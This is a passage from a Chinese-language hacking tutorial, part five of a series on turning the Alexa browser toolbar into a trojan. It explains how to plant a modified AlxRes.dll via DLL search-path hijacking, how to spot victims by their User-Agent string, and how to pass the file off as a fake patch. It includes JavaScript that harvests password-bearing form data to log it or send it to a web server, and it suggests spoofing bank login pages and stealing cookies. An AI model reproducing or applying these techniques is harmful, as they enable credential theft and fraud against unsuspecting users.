把Alexa工具条改装成木马(5)

五、散布和植入木马

　　以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以，只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在"C:/Program Files/Internet Explorer"和"C:/Documents and Settings/[username]/桌面"这两个路径下搜索AlxRes.dll，所以也可以把修改过的AlxRes.dll放到这两个路径下，这样就不用覆盖源文件了。至于怎么安装，那可是有一大堆的IE漏洞等着你去Exploit呢，这可不是本文涉及的范围。

　　安装了Alexa工具条的IE的"User-Agent"会加入"Alexa Toolbar"的标记，所以很容易区分目标的IE是否已经安装了Alexa工具条：

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)

　　也可以修改Alexa的安装文件，或者以Alexa补丁的名义来发布，这个就扯远了。

六、收集密码

　　你可以用FileSystemObject控件来将表单内容纪录到文件，或者直接作为参数发送到某个Web服务器，由web服务器收集纪录下来即可。为了在客户端过滤一些不包含密码的表单，最好在AlxRes.dll的代码中对收集的表单数据进行一些检查：

function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!="")
{
if(this.elements[i].type=="password")
IsPwdForm=true;
FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";
}
}
if(IsPwdForm)
{
//表单包含密码文本，进行收集
}
}catch(e){}
return true;
}


七、其他的应用

　　大多数的网上银行登陆界面是由ActiveX控件实现的，无法截获表单数据，但是我们可以通过"oWebBrowser2"对象来操纵、修改浏览的页面，当然也可以伪造一个网上银行的登陆界面。还可以用来收集用户浏览网页的纪录，也可以用来窃取用户COOKIE等。